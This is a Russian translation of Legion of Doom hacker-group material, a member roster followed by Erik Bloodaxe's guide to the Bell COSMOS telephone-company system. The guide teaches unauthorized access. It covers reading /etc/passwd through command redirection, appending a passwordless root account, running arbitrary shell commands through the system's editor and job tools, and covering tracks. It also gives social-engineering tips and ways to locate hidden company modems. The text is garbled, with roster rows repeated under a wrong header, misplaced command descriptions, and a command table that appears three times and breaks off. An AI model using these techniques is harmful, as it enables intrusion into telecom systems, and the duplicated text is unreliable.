Участники LOD, возможно, проникали в системы, число которых исчислялось десятками тысяч; возможно, они просматривали кредитные истории; возможно, прослушивали телефонные разговоры; возможно, рылись в файлах и сохраняли интересные тексты; возможно, до сих пор имеют полный контроль над целыми компьютерными сетями — но какой ущерб они нанесли? Никакого, за исключением неоплаченного использования процессорного времени и сетевого доступа. Какую личную выгоду извлёк кто-либо из участников? Никакой, за исключением трёх случаев кредитного мошенничества, совершённых тремя отдельными жадными личностями без ведома группы.

Легион Судьбы надолго останется в памяти компьютерного андеграунда как инновационная и первопроходческая сила, неизменно повышавшая общий уровень знаний и дававшая ответы на вопросы — от устройства телефонной системы до структуры компьютерных операционных систем. Ни одна другая группа, посвятившая себя поиску знаний в области компьютеров и

телекоммуникаций, не просуществовала дольше, и вряд ли какая-либо просуществует.

Легион Судьбы 1984–1990

Псевдоним	Вступил	Вышел	Штат/страна	Причина ухода
Lex Luthor	нач. 84	—	Florida	—
Karl Marx	нач. 84	кон. 85	Colorado	Арест совместно с Tabas; учёба
Mark Tabas	нач. 84	кон. 85	Colorado	Слишком много всего
Agrajag the Prolonged	нач. 84	кон. 85	California	Потеря интереса
King Blotto	нач. 84	кон. 85	Ohio	Учёба
Blue Archer	нач. 84	кон. 87	Texas	Учёба
EBA	нач. 84	—	Texas	—
The Dragyn	нач. 84	кон. 86	Minnesota	Потеря интереса
Unknown Soldier	нач. 84	нач. 85	Florida	Арест — телефонное мошенничество
Sharp Razor	кон. 84	нач. 86	New Jersey	Арест — злоупотребление Compuserve
Sir Francis Drake	кон. 84	нач. 86	California	Потеря интереса
Paul Muad'dib	кон. 84	нач. 86	New York	Сломался модем
Phucked Agent 04	кон. 84	кон. 87	California	Учёба
X-Man	кон. 84	сер. 85	New York	Арест — blue boxing
Randy Smith	кон. 84	сер. 85	Missouri	Арест — кредитное мошенничество
Steve Dahl	нач. 85	нач. 86	Illinois	Арест — кредитное мошенничество
The Warlock	нач. 85	нач. 86	Florida	Потеря интереса

Terminal Man	нач. 85	кон. 85	Massachusetts	Исключён из группы
Dr. Who	нач. 85	кон. 89	Massachusetts	Несколько причин
The Videosmith	нач. 86	кон. 87	Pennsylvania	Паранойя
Kerrang Kahn	нач. 86	сер. 89	London, UK	Потеря интереса
Gary Seven	нач. 86	сер. 88	Florida	Потеря интереса
The Marauder	нач. 86	сер. 89	Connecticut	Потеря интереса
Silver Spy	кон. 86	кон. 87	Massachusetts	Учёба
Bill from RNOC	нач. 87	кон. 87	New York	Арест — взлом
The Leftist	сер. 87	кон. 89	Georgia	Арест — взлом
Phantom Phreaker	сер. 87	—	Illinois	—
Doom Prophet	сер. 87	—	Illinois	—
Jester Sluggo	сер. 87	—	North Dakota	—
Carrier Culprit	сер. 87	сер. 88	Pennsylvania	Потеря интереса
Master of Impact	сер. 87	сер. 88	California	Потеря интереса
Thomas Covenant	нач. 88	нач. 90	New York	Арест — взлом
The Mentor	сер. 88	нач. 90	Texas	Вышел на покой
Necron 99	сер. 88	кон. 89	Georgia	Арест — взлом
Control C	сер. 88	нач. 90	Michigan	—
Prime Suspect	сер. 88	—	New York	—
The Prophet	сер. 88	кон. 89	Georgia	Арест — взлом
Phiber Optik	нач. 89	нач. 90	New York	Арест — взлом

Псевдонимы (AKA)

Control C	сер. 88	нач. 90	Michigan	—
Prime Suspect	сер. 88	—	New York	—

The Prophet	сер. 88	кон. 89	Georgia	Арест — взлом
Phiber Optik	нач. 89	нач. 90	New York	Арест — взлом

Исчерпывающее руководство по COSMOS

Автор: Erik Bloodaxe

Предисловие

В прошлом было написано немало статей о COSMOS. Я всегда был довольно разочарован их качеством и подачей материала, поэтому взял на себя ответственность написать собственную. Это руководство должно стать исчерпывающим описанием COSMOS для всех, кто его прочтёт. Оно содержит форматы наиболее полезных команд, полный список транзакций, «трюки» COSMOS, а также перечень всех аббревиатур COSMOS с их форматами.

Введение

Bell Labs COmputer System for Mainframe OperationS (COSMOS) — это по существу база данных для ведения учёта оборудования и другой линейной информации, а также для формирования отчётов по этой информации. Система обычно развёртывается на DEC PDP 11/45 или 11/70.

Основные функции системы COSMOS:

• Ведение учётных записей
• Формирование отчётов
• Обработка заявок на обслуживание и рабочих нарядов
• Присвоение телефонных номеров
• Балансировка нагрузки коммутационных компьютеров
• Вывод информации о последних изменениях в ESS

Вход в систему

При подключении к COSMOS система ответит:

```
;Login:  или  LOGIN:
```

После этого вводится имя пользователя. Система затем выдаст запрос:

```
PASSWORD:
```

После ввода пароля для данного пользователя система наконец предложит:

```
WC?
```

Это запрос кода коммутационного узла (Wire Center) для АТС, с которой предстоит работать. После успешного завершения входа в систему выдаётся системное приглашение: двухбуквенный идентификатор введённого коммутационного узла и знак процента: `WC%`

Для выхода из системы в любой момент можно нажать Ctrl-Y. Одним из главных недостатков безопасности COSMOS является то, что без получения символа Ctrl-Y терминал не выходит из системы, даже если пользователь отключился. Очень часто при подключении к COSMOS вы оказываетесь сразу на приглашении `WC%`. Это нередко случается даже в крупных пакетных сетях BOC. Если вам посчастливится увидеть приглашение `WC#`, значит вы получили доступ к оболочке

COSNIX и можете выполнять различные unix-подобные команды: ls, cd, cat и другие.

Имена пользователей COSMOS обычно выдаются в виде двух букв, соответствующих узлу, который будет использовать данную учётную запись, и двух цифр.

Пример: `LA01`

В случае приведённого примера `LA01` скорее всего существует множество учётных записей `LA` — возможно, от `LA01` до `LA15` и выше. Это характерно для большинства имён пользователей COSMOS. Как правило, все учётные записи одного узла имеют одинаковый пароль. Некоторые типичные имена пользователей и их назначение:

Имя	Назначение
ROOT	Системный менеджер
SYS	Системный менеджер
ML	Назначение шлейфов (Loop Assignment)
LA	Назначение шлейфов (Loop Assignment)
DN	Главный распределительный фрейм
IN	Ремонтная служба
RS	Ремонтная служба
CE	LNAC
LK	Учётная запись только для запросов INQ
JA	Mizar
WLI	Индикатор рабочей нагрузки

Имена пользователей могут различаться от ВОС к ВОС, но перечисленные являются стандартными.

Команды транзакций COSMOS

Команды COSMOS представляют собой трёхбуквенные аббревиатуры. Я подробно опишу наиболее полезные из найденных мной команд, а затем перечислю остальные. Помните: не пытайтесь изучать форматы транзакций COSMOS в режиме онлайн. Вероятно, вы не сможете ввести правильные данные и, скорее всего, создадите проблемы для системного менеджера и для себя самого.

Команды вводятся определённым образом. Нужная команда вводится в приглашение `WC%`. Следующая строка данных, определяющая тип желаемой транзакции, вводится в следующей строке. Эта строка имеет один из следующих четырёх префиксов:

```
H - Строка заголовка (Header Line)
I - Входная строка (In Line)
O - Выходная строка (Out Line)
```

```
R - Строка примечания (Remark Line)
```

Наиболее часто используется строка H. Она является обязательным вводом практически для всех транзакций COSMOS. Начиная со второй строки, COSMOS в качестве системного приглашения использует символ подчёркивания _, сигнализируя о готовности к вводу. Когда все необходимые данные введены, команда выполняется вводом . в начале новой строки.

Если нужно выполнить команду, но остаться на уровне команд для последующей обработки после завершения текущей, в начале новой строки вводится ;.

Для отмены вводимой транзакции в начале новой строки вводится Q. Для прерывания вывода используется символ прерывания ^C. При вводе критериев все данные одного типа (все H-строки, все I-строки и т. д.) можно вводить в одну строку, разделяя входные префиксы символом /:

```
Пример: H TN 222-0000,222-9999/RMKT SWBT?/US 1FB
```

Это то же самое, что ввод:

```
H TN 222-0000,222-9999
_H RMKT SWBT?
_H US 1FB
```

Одна из наиболее часто используемых команд — INQ (Complete Circuit Inquiry, полный запрос по схеме). Существует также сокращённая форма INQ — ISH. Эта команда требует только строк H. Можно ввести несколько строк H для сужения поиска или вывода нескольких отчётов.

Допустимые H-строки описания схем:

Код	Описание
BL	Усилитель моста (Bridge Lifter)
CON	Концентратор
CP	Кабельная пара
CKID	Идентификатор схемы
MR	Счётчик сообщений
OE	Номер офисного оборудования
PL	Номер линии частного пользования
TK	Номер кабеля и пары магистрали
TN	Телефонный номер
TP	Связывающая пара
XN	«X»-номер
TRE	Передающее оборудование
TER	Номер терминала
GP	Номер группы

ORD	Рабочий наряд

```
Пример: вывод информации о телефонном номере 222-2222
WC% INQ
H TN 222-2222
_.

Пример: вывод информации о кабельной паре 11-1111
WC% INQ
H CP 11-1111
_.
```

INQ выводит полный отчёт по исследуемой схеме, тогда как ISH — более краткий и удобочитаемый. Ниже приведён реальный результат выполнения ISH по узлу Telenet:

```
CA% ISH
H TN 225-8004
_.

TN   225-8004
     ST  AU          DATE 06-03-83   HT GP 0-0081    BTN 225-8004    TYPE X
OE   006-012-200
     ST  WK          DATE 03-04-86   CS 1FBH     US 1BH       FEA TNNL
     LCC TF2
     LOC WF12003
TER  0-0081-0001
     ST  WK
     RMKG GTE.TELENET
CP   95-0701
     ST  WK          DATE 01-24-86    RZ 13
     LOC WF12009
TP   6105-0910
     ST  WK          DATE 01-24-86
     LOC  F12003
     LOC  F42001
     FROM FAC OE  006-012-200     TO FAC TP  6206-0107
TP   6206-0107
     ST  WK          DATE 01-24-86
     LOC  F22029
     LOC  F42002
HUNT SEQUENCE FOR TN 225-8004
  TER 0001-0040
** ISH COMPLETED 02-29-99  12:00
CA%
```

Выполнив запрос по интересующему номеру, вы получите его кабельную пару, номер наряда, любые номера, связанные с ним через цепочку переключения (hunt sequence), а также все внесённые примечания. Эта информация может оказаться чрезвычайно ценной. Например: вы подозреваете, что у компании есть модем в сети, но не хотите тратить время на последовательный набор тысяч номеров. Можно просто выполнить ISH по нужному номеру, получить его кабельную пару, а затем начать выполнять ISH по соседним кабельным парам. После этого останется набрать лишь двадцать или около того номеров, находящихся в той же зоне, что и основной, и компьютер будет найден.

Ещё одна чрезвычайно полезная команда — SIR (Sorting Inquiry by Range, сортировочный запрос по диапазону). С помощью SIR можно вывести информацию о схемах всех линий, удовлетворяющих заданным критериям в пределах указанного диапазона номеров. Эта команда требует только строк H, однако можно ввести несколько строк для сужения поиска. Также можно использовать символ подстановки (`?`) для охвата более широкого диапазона при выполнении SIR.

Зачастую в записях схем имеются специальные примечания. Обычно они вводятся как RMKT (Примечания к телефонному номеру), но могут быть введены и как RMKO (Примечания к офисному оборудованию) или RMKP (Примечания к кабельной паре), в зависимости от того, что предпочёл вводивший. В большинстве случаев примечания не вполне соответствуют своему назначению.

Телефонные компании довольно тщательно помечают принадлежащие им линии и обычно используют префикс RMKT.

```
Пример: найти все линии телефонной компании (Southwestern Bell) в префиксе 222
WC% SIR
H TN 222-0000,222-9999
_H RMKT SWBT?
_.
```

Символ `?` после SWBT действует как подстановочный знак. Ввод `SWB?` выполнит тот же поиск.

Также можно искать по STT (статус телефонного номера). Некоторые значения STT:

```
Пример:
WC% SIR
H TN 333-1000,333-3500
_H STT NP
_H CS 1FB
_.
```

Другой способ различить типы номеров — по CS (класс обслуживания абонента). Значения CS варьируются от BOC к BOC, но бизнес-линии обычно выглядят как `1FB` или, по крайней мере, содержат букву `B`. Жилые линии обычно выглядят как `1FR`. Иногда линии телко обозначены как `1OF`, но могут также вводиться как `1FB`. У линий в группе переключения к CS добавляется буква `H`, например `1FBH`.

Предположим, компания владеет блоком номеров на АТС (333) в диапазоне от 1000 до 3500, и нужно найти все возможные компьютерные номера в этой зоне. Скорее всего, они не указаны в справочнике.

Приведённый запрос выведет все неопубликованные бизнес-номера от 333-1000 до 333-3500.

Чтобы найти все номера, являющиеся переводными 800-номерами в том же диапазоне:

```
Пример:
WC% SIR
H TN 333-1000,333-3500
_H PL ?800?
_.
```

Это выведет отчёты по всем частным линиям, зарегистрированным как 800-номера.

Существует также сокращённая версия SIR — LTN (List Telephone Numbers) и более детальная — GFR (General Facility Report), однако для своих целей я нашёл SIR наиболее подходящей.

Для изменения атрибутов линий или создания новых линий потребуется использовать две команды: SOE (Service Order Entry) и RCP (Recent Change Packager). Эти команды весьма функциональны, поэтому рассмотрим лишь некоторые их возможности.

SOE позволяет назначить новую схему и указать нужный телефонный номер, дополнительные функции звонка, расчётный телефонный номер и т. д.

SOE требует как строк `H`, так и строк `I`. Лучший способ ввести новый заказ на обслуживание — позволить COSMOS самостоятельно выбрать новый телефонный номер и назначить необходимый номер офисного оборудования. Если нужно выбрать телефонный номер самостоятельно, этот номер должен иметь статус (STO) SP, LI, RS или PD (с датой отключения до даты выполнения нового заказа на обслуживание). Это нужно для того, чтобы не назначить уже работающий номер новому заказу. Проверить это можно, выполнив ISH по всем интересующим вариантам номеров и проверив STO. Также можно получить список доступных номеров в заданном префиксе с помощью команды NAI. Следует также выполнить SIR по недавним записям, чтобы определить правильный формат номеров нарядов и не использовать уже занятый или неправильно отформатированный. Ещё один способ убедиться в правильности формата номеров нарядов — позвонить в телефонную компанию и запросить установку линии в нужном месте. Вам сообщат номер заказа на

обслуживание для справки. Впоследствии его можно просто отменить. Также потребуется найти допустимую кабельную пару: выполните ISH по любому нерабочему номеру, указанному в вашей распределительной коробке, и убедитесь, что по ней нет ожидающих нарядов на подключение.

Для ввода заказа на новое подключение с тем, чтобы COSMOS сам выбрал доступный телефонный номер и назначил соответствующие номера офисного оборудования:

```
Пример:
WC% SOE
H ORD SO123456/OT NC/DD DD-MM-YY   (Используйте корректный день, месяц, год)
_I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY   (Используйте допустимую кабельную пару для XX-YYYY)
_.
```

После этого потребуется ввести RCP и создать корректно отформатированный отчёт о последнем изменении для введённого наряда, чтобы RCMAC мог принять наряд и непосредственно ввести его в коммутатор. RCP преобразует наряд в реальное программирование коммутатора с использованием шаблонов, хранящихся в каталогах, соответствующих типу коммутационного оборудования данного коммутационного узла (пример: `ess5a`).

```
Пример: создание пакета последнего изменения для введённого выше наряда
WC% RCP
H ORD SO123455
_.
```

С помощью SOE можно указывать дополнительные функции звонка, расчётные телефонные номера, устанавливать тип обслуживания «монетный» и выполнять ряд других операций, добавляя строки `I` с информацией, соответствующей конкретной опции:

```
_I CCF XXXXXX       (XXXXXX — допустимые дополнительные функции звонка)
_I BTN NNX-XXXX     (NNX-XXXX — допустимый расчётный TN)
_I TT C
```

Для получения списка свободных (доступных) телефонных номеров в заданном префиксе используется команда NAI (Telephone Number Assignment Inquiry). Достаточно ввести только критерии в строке H. Помимо поиска по префиксу (NNX) можно искать по типу коммутатора (TYP) или зоне тарифа (RTZ).

```
Пример: выбрать один свободный телефонный номер в 555 и перевести его в зарезервированный статус
WC% NAI
H TT X/NNX 555/STT RS
_.
```

NAI также может вывести несколько доступных номеров, однако изменить статус можно только при выводе одного.

```
Пример:
WC% NAI
H TT X/NNX 555/LC XX        (XX — число от 1 до 25)
_.
```

Для получения списка всех префиксов, существующих в коммутационном узле, под которым выполнен вход, используется команда DDS (Display DS Table). Эта команда выводит диапазоны, существующие для заданного ввода.

```
Список всех телефонных номеров в данном WC:
WC% DDS
H TN ?
_.

Список всех диапазонов кабельных пар:
WC% DDS
H CP ?
_.
```

Для перехода с одного коммутационного узла на другой используется команда WCC (Wire Center Change):

```
Пример:
WC% WCC NW
NW%
```

Для включения перенаправления в командах COSMOS необходимо выполнить команду DIO:

```
Пример:
WC% TSNAP
```

Чтобы увидеть, какие транзакции выполняют другие вошедшие в систему пользователи (в определённых версиях системы), можно использовать команду TSNAP:

Команда	Описание
ACE	Создать заявку на изменение назначения
AIT	Инициализация таблиц ANALIT
ARG	Собрать и запустить заданный главный файл
AUD	Аудит списка назначений
BAI	Запрос о назначении усилителя моста
BYF	Показать файл обходных путей
BYP	Изменить содержимое файла обходных путей
CAY	Создать сборку
CCA	Изменить атрибуты абонента
CCT	Инициализировать и обновить файл Contractor-Transducer
CDA	Изменить атрибуты распределения
CDD	Изменить дату выполнения
CDR	Отчёт Cut Thru DIP
CFA	Изменить атрибуты объекта
CFP	Напечатать класс обслуживания/функции для электромеханического объекта
CFU	Изменить использование объекта
CIE	Инициировать изменение по инициативе компании
CLI	Обработанные COSMOS отчёты ALIT
CPI	Интерфейс COSMOS-PREMIS

CPM	Монитор производительности COSMOS
CTC	Завершить перенос или переброску кабеля
CTE	Установить наряд на переброску кабеля
CTF	Отобразить файл Contacter-Transducer
CTL	Переброска кабеля с назначением линейного оборудования
CTM	Изменение нарядов на переброску кабеля
CTP	Напечатать фреймовые работы по переносу кабеля
CTR	Замена переброски кабеля
CTS	Сводка переброски кабеля
CTW	Отозвать перенос или переброску кабеля
CUP	Процессор общего обновления
CXC	Проверка ввода сложного заказа на обслуживание
CXM	Управление таблицей Centrex
CXT	Запрос сложного наряда для проверки NAC
DAY	Удалить сборку
DBL	Загрузка базы данных
DCN	Список отключённых и изменённых номеров
DDS	Показать таблицу DS
DIR	Стандартный отчёт DIP
DPN	Удалить номер DIP
DPR	Отчёт и удаление DIP
DQR	Отчёт системы квот на проектирование
DQS	Система квот на проектирование
DTE	Напечатать текущую дату
EDZ	Список аварийного назначения объектов

ELA	Анализ нагрузки на объект
ESP	Напечатать всю сводную таблицу
FDY	Установить финансовый день для LAC
FLR	Отчёт о компоновке фрейма
FOR	Отчёт о заказах на фрейм
FOS	Сводка операций с фреймом
FTA	Анализ передачи фрейма
FTC	Завершение передачи фрейма
FTE	Установка передачи фрейма
FTL	LETs передачи фрейма
FTR	Перепечатка передачи фрейма
FTW	Отзыв передачи фрейма
FWM	Управление работами по фрейму
GFR	Общий отчёт по объектам
GLA	Генерировать списки для назначения
HBS	Блоки резервных номеров в группе переключения
HGR	Отчёт по группе переключения
HGS	Сводка группы переключения
HIS	ISH по переключению
IJR	Ввод причины задержки
IMU	Ввод данных об использовании CCS
INQ	Полный запрос по схеме
ISF	Запрос по одному объекту
ISH	Краткий полный запрос по схеме
JAM	Управление активностью перемычек
JPH	История установки перемычек
KPR	Отчёт по проблемным парам

KSM	Создать маску транзакции
LAI	Запрос о назначении линейного оборудования
LBP	Параметры балансировки нагрузки
LCD	Список сводки кабелей, тест LIT Demand
LCP	Список кабельных пар
LEE	Установка наряда на перенос линейного оборудования, связанного с NAC
LEW	Отзыв переноса линейного оборудования
LFC	Расчёт коэффициента нагрузки
LFR	Отчёт об отказах линий
LGN	Список групп переключения
LIN	Передача данных ALIT в COSMOS
LOE	Список исходного линейного оборудования
LSE	Установка наряда на перенос линии и оборудования
LSW	Отзыв переноса линии и оборудования
LTN	Список телефонных номеров
MAL	Список назначений вручную
MAP	Параметры назначения вручную
MAQ	Запрос к файлу назначений вручную
MAY	Изменить сборку
MCE	Создать заявку на техническое обслуживание
MCH	Изменить переключение вручную
MCL	Список изменений по техническому обслуживанию
MCR	Создать ремонтное изменение по техническому обслуживанию
MCW	Отозвать заявку на техническое обслуживание
MDC	Вручную отключить работающую схему

MEC	Вручную установить схему
MMC	Вручную изменить схему
MOC	Завершение наряда MOE

Около ста других команд COSMOS определены в конце этого файла. Подробно рассмотреть все из них невозможно, но они будут перечислены с пояснениями.

Трюки COSMOS

Даже без полного доступа к COSNIX можно в основном выполнить любую команду или прочитать любой файл в системе. Используя команду INQ (или ISH) и перенаправление, можно открыть и отобразить любой файл.

```
Пример: отображение файла паролей
WC% INQ </ETC/PASSWD
```

Файл будет отображён, однако, поскольку это является ошибкой в команде, она воспримет файл как ввод для INQ, и каждая строка будет предварена словами `ILLEGAL LINE TYPE`, что можно проигнорировать.

Другие интересные файлы:

```
/USR/FACS/WCFILE     Список всех коммутационных узлов
/ETC/MATRIX.P        Матрица прав доступа (кто какие команды может выполнять)
```

Следующее стоит попробовать лишь с осторожностью — высока вероятность быть замеченным в системе. Если ваши локальные порты COSMOS обычно остаются залогиненными, не стоит этого делать. Однако если порты COSMOS всегда выходят из системы и вы почти никогда не подключаетесь, а вдруг наткнулись на порт, оставшийся залогиненным впервые за месяцы, — попробовать может быть оправдано.

Существует несколько способов создать новую учётную запись в COSMOS; однако для этого необходима возможность записи в файл паролей. Некоторые системы это допускают, большинство — нет.

Самый простой способ предполагает использование команды echo с перенаправлением:

```
Пример:
WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd
```

Это добавит пользователя EB01 в конец файла паролей.

Если нет доступа к echo, то же самое можно сделать с помощью команды TED (Text Editor):

```
WC% TED >>/etc/passwd
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y on NO) Y
1d
a
EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so
^C
1p
w
q
```

После выполнения вышеуказанного потребуется очистить файл `/etc/passwd`, удалив из него информацию о заказе на обслуживание, внесённую TED. Также нужно удалить созданный заказ на

обслуживание из каталога `/usr/so/WC`.

Если найти способ получить доступ к оболочке не удаётся, можно всё равно выполнить любую нужную команду COSNIX с помощью TED, MSK (Output a Transaction Mask) и ARG (Assemble and Run a Given Master File):

```
Пример:
WC% TED
S.O. NO.= SO123456
IS THIS A NEW S.O. (Y or NO) Y
12
1d
a
$*
run!
^c
w
q
WC% MSK >/usr/so/newcmd
SO123456
WC% ARG
newcmd ls /etc
```

Для выполнения команды нужно запустить ARG, затем указать имя файла (в данном случае `newcmd`), а затем команду COSNIX, которую нужно выполнить.

Если доступна команда echo, это можно сделать значительно проще:

```
Пример:
WC% echo '$*' >/usr/so/newcmd
WC% echo 'run!' >>/usr/so/newcmd
```

После этого команда запускается обычным способом через ARG:

```
WC% ARG
newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd
```

Если доступа к echo нет, создайте файл newcmd описанным выше способом и используйте его аналогично:

Команда	Описание
ACE	Создать заявку на изменение назначения
AIT	Инициализация таблиц ANALIT
ARG	Собрать и запустить заданный главный файл
AUD	Аудит списка назначений
BAI	Запрос о назначении усилителя моста
BYF	Показать файл обходных путей
BYP	Изменить содержимое файла обходных путей
CAY	Создать сборку
CCA	Изменить атрибуты абонента
CCT	Инициализировать и обновить файл Contractor-Transducer

CDA	Изменить атрибуты распределения
CDD	Изменить дату выполнения
CDR	Отчёт Cut Thru DIP
CFA	Изменить атрибуты объекта
CFP	Напечатать класс обслуживания/функции для электромеханического объекта
CFU	Изменить использование объекта
CIE	Инициировать изменение по инициативе компании
CLI	Обработанные COSMOS отчёты ALIT
CPI	Интерфейс COSMOS-PREMIS
CPM	Монитор производительности COSMOS
CTC	Завершить перенос или переброску кабеля
CTE	Установить наряд на переброску кабеля
CTF	Отобразить файл Contacter-Transducer
CTL	Переброска кабеля с назначением линейного оборудования
CTM	Изменение нарядов на переброску кабеля
CTP	Напечатать фреймовые работы по переносу кабеля
CTR	Замена переброски кабеля
CTS	Сводка переброски кабеля
CTW	Отозвать перенос или переброску кабеля
CUP	Процессор общего обновления
CXC	Проверка ввода сложного заказа на обслуживание
CXM	Управление таблицей Centrex
CXT	Запрос сложного наряда для проверки NAC
DAY	Удалить сборку

DBL	Загрузка базы данных
DCN	Список отключённых и изменённых номеров
DDS	Показать таблицу DS
DIR	Стандартный отчёт DIP
DPN	Удалить номер DIP
DPR	Отчёт и удаление DIP
DQR	Отчёт системы квот на проектирование
DQS	Система квот на проектирование
DTE	Напечатать текущую дату
EDZ	Список аварийного назначения объектов
ELA	Анализ нагрузки на объект
ESP	Напечатать всю сводную таблицу
FDY	Установить финансовый день для LAC
FLR	Отчёт о компоновке фрейма
FOR	Отчёт о заказах на фрейм
FOS	Сводка операций с фреймом
FTA	Анализ передачи фрейма
FTC	Завершение передачи фрейма
FTE	Установка передачи фрейма
FTL	LETs передачи фрейма
FTR	Перепечатка передачи фрейма
FTW	Отзыв передачи фрейма
FWM	Управление работами по фрейму
GFR	Общий отчёт по объектам
GLA	Генерировать списки для назначения
HBS	Блоки резервных номеров в группе переключения
HGR	Отчёт по группе переключения

HGS	Сводка группы переключения
HIS	ISH по переключению
IJR	Ввод причины задержки
IMU	Ввод данных об использовании CCS
INQ	Полный запрос по схеме
ISF	Запрос по одному объекту
ISH	Краткий полный запрос по схеме
JAM	Управление активностью перемычек
JPH	История установки перемычек
KPR	Отчёт по проблемным парам
KSM	Создать маску транзакции
LAI	Запрос о назначении линейного оборудования
LBP	Параметры балансировки нагрузки
LCD	Список сводки кабелей, тест LIT Demand
LCP	Список кабельных пар
LEE	Установка наряда на перенос линейного оборудования, связанного с NAC
LEW	Отзыв переноса линейного оборудования
LFC	Расчёт коэффициента нагрузки
LFR	Отчёт об отказах линий
LGN	Список групп переключения
LIN	Передача данных ALIT в COSMOS
LOE	Список исходного линейного оборудования
LSE	Установка наряда на перенос линии и оборудования
LSW	Отзыв переноса линии и оборудования
LTN	Список телефонных номеров
MAL	Список назначений вручную

MAP	Параметры назначения вручную
MAQ	Запрос к файлу назначений вручную
MAY	Изменить сборку
MCE	Создать заявку на техническое обслуживание
MCH	Изменить переключение вручную
MCL	Список изменений по техническому обслуживанию
MCR	Создать ремонтное изменение по техническому обслуживанию
MCW	Отозвать заявку на техническое обслуживание
MDC	Вручную отключить работающую схему
MEC	Вручную установить схему
MMC	Вручную изменить схему
MOC	Завершение наряда MOE
MOE	Массовая передача OE
MOF	Списки массовой передачи OE по фрейму
MOW	Отзыв наряда MOE
MPK	Изменить рабочий пакет
MSK	Вывод маски транзакции
MTR	Тест ответа вручную
NAI	Запрос о назначении телефонного номера
NOL	Список заказов на обслуживание NAC
NSD	Отображение сводки по номерам
OIJ	Наряды в состоянии задержки
OPN	Отчёт начала дня
OPU	Использование кабеля внешней сети
PAK	Рабочие пакеты
PEP	Установка позиций для абонентов

PFR	Отчёт о заполнении групповой линии
PRP	Периодическая очистка примечаний
QEX	Запросить выполнение
QUE	Очередь
RAL	Список назначений реле
RAP	Параметры назначения реле
RAS	Освободить списки порядковых номеров и связанные TN/OE
RBS	Напечатать запись назначения реле TBS
RCP	Упаковщик последних изменений
RCR	Отчёт о последних изменениях
RCS	Сводка последних изменений
RED	Редактор текста сообщений о последних изменениях
REL	Освободить неперехваченные номера по дате освобождения
REM	Удалить местоположения фрейма
RET	Переназначение местоположений фрейма
REX	Повторно выполнить заказ на обслуживание
RJR	Удалить коды причин задержки
RMP	Таблица пунктуации последних изменений
RNA	Освободить телефонные номера для назначения
ROE	Установка наряда на резервирование
ROI	Запрос наряда на резервирование
ROW	Отзыв наряда на резервирование
RTH	Отчёт о транзакциях для подсчёта свободного и DIPed линейного оборудования
RTS	Отчёт о статусе реле и телефонных номеров

RUP	Запрос внепланового процесса
SAI	Сводка элементов действий
SCA	Автоматическое завершение заказа на обслуживание
SCF	Простое завершение для MDF
SCI	Запрос о свободных кабельных парах
SCM	Стандартное завершение через MDF
SCP	Завершение заказа на обслуживание через LAC
SCR	Стандартное завершение через RCMAC
SEL	Выбор линий для изучения класса обслуживания АТС
SET	Статистика по оборудованию и телефонным номерам
SGH	Снабжение реле для групп переключения 5XB
SIR	Сортировочный запрос по диапазону
SLC	Количество абонентских линий для дополнительных функций
SOC	Отмена заказа на обслуживание
SOE	Установка заказа на обслуживание
SOF	Исправление заказа на обслуживание
SOH	Задержка заказа на обслуживание
SOI	Запрос о назначении заказа на обслуживание
SOL	Список заказов на обслуживание
SOM	Изменение ожидающего заказа на обслуживание
SOW	Отзыв заказа на обслуживание
STN	Сводка телефонных номеров
SVL	Петли наблюдения за обслуживанием
TAI	Запрос о назначении связывающей пары

TAT	Тест выравнивания терминала фрейма
TED	Текстовый редактор
TET	Отобразить или изменить файл полосового фильтра, коэффициент хранения и порог печати
TFC	Перенос изменений фрейма
TIG	Генератор ввода коммутации набора
TLC	Транслировать LANAVAR/CPS
TNS	Замена телефонных номеров
TOC	Завершение наряда на передачу
TOE	Установка наряда на передачу
TOF	Списки нарядов на передачу OE по фрейму
TOI	Запрос наряда на коммутируемую передачу
TOL	Списки нарядов на передачу
TOO	Пропуски в нарядах на передачу
TOW	Отзыв наряда на передачу
TPU	Отчёт об использовании связывающих пар
TRC	Отчёт о последних изменениях по нарядам на передачу
TRI	Запрос о назначении передающего оборудования
TRW	Полный отзыв нарядов на резервирование
TSL	Сводный отчёт по линейному оборудованию
TSN	Статистика трафика по телефонным номерам
TSW	Полный отзыв заказов на обслуживание
TTY	Получить имя TTY
TXC	Проверка текста
TXM	Управление переносом Centrex
UDP	Обновить параметры DIP

UES	Обновить сводную таблицу объектов
UFO	Неотпечатанные наряды на фрейм
UPC	Обновить таблицу CCS vs. класс обслуживания
USL	Список данных файла USOC (US)
UTC	Обновить таблицу для перепроектирования концентратора
WCC	Изменить коммутационный узел
WCT	Рабочий лист для нарядов на переброску кабеля
WFL	Рабочее местоположение фрейма
WOI	Запрос рабочего наряда
WOL	Список рабочих нарядов

Список команд COSMOS

Команда	Описание
ACE	Создать заявку на изменение назначения
AIT	Инициализация таблиц ANALIT
ARG	Собрать и запустить заданный главный файл
AUD	Аудит списка назначений
BAI	Запрос о назначении усилителя моста
BYF	Показать файл обходных путей
BYP	Изменить содержимое файла обходных путей
CAY	Создать сборку
CCA	Изменить атрибуты абонента
CCT	Инициализировать и обновить файл Contractor-Transducer
CDA	Изменить атрибуты распределения

CDD	Изменить дату выполнения
CDR	Отчёт Cut Thru DIP
CFA	Изменить атрибуты объекта
CFP	Напечатать класс обслуживания/функции для электромеханического объекта
CFU	Изменить использование объекта
CIE	Инициировать изменение по инициативе компании
CLI	Обработанные COSMOS отчёты ALIT
CPI	Интерфейс COSMOS-PREMIS
CPM	Монитор производительности COSMOS
CTC	Завершить перенос или переброску кабеля
CTE	Установить наряд на переброску кабеля
CTF	Отобразить файл Contacter-Transducer
CTL	Переброска кабеля с назначением линейного оборудования
CTM	Изменение нарядов на переброску кабеля
CTP	Напечатать фреймовые работы по переносу кабеля
CTR	Замена переброски кабеля
CTS	Сводка переброски кабеля
CTW	Отозвать перенос или переброску кабеля
CUP	Процессор общего обновления
CXC	Проверка ввода сложного заказа на обслуживание
CXM	Управление таблицей Centrex
CXT	Запрос сложного наряда для проверки NAC
DAY	Удалить сборку
DBL	Загрузка базы данных

DCN	Список отключённых и изменённых номеров
DDS	Показать таблицу DS
DIR	Стандартный отчёт DIP
DPN	Удалить номер DIP
DPR	Отчёт и удаление DIP
